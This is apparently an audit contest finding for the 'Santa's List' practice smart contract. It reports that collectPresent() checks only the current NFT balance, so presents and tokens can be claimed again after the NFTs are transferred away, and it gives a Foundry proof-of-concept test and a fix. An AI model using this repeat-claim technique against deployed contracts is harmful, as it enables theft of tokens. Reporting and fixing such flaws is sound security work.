First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

EXTRA_NICE people can mint unlimited amount of present and tokens, similarly for NICE people for presents

jerseyjoewalcott

Summary

collectPresent() has insufficient checks to see if msg.sender has already claimed their share of presents and tokens.

Vulnerability Details

It only checks the current NFT balance of the user which is insufficient, the user can just transfer it to another wallet he owns and collect again.

if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();

POC of how the attack can occur.

function test_extraNicePeopleCanMintUnlimitedAmountsOfPresentsAndTokens() public {
// set user as EXTA_NICE
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.startPrank(user);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
santasList.collectPresent();
santasList.buyPresent(user);
santasList.safeTransferFrom(user, attacker, 0);
santasList.safeTransferFrom(user, attacker, 1);
santasList.collectPresent();
santasList.buyPresent(user);
santasList.safeTransferFrom(user, attacker, 2);
santasList.safeTransferFrom(user, attacker, 3);
santasList.collectPresent();
​
vm.stopPrank();
​
}

Impact

Santa's smart contracts can be gamed to have an unfair amount of tokens and/or presents

Tools Used

Manual Review, Foundry

Recommendations

Mapping of s_tokenCounter is setup but not actually used in the function to check for duplicate claims for users. It is also not a mapping from a user's address to their count of tokens.

instead of uint256 private s_tokenCounter;
use mapping(address person => uint256 countOfSantasPresentClaimed) private s_tokenCounter;

and in the _mintAndIncrement() function, adjust the s_tokenCounter to s_tokenCounter[msg.sender]++

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.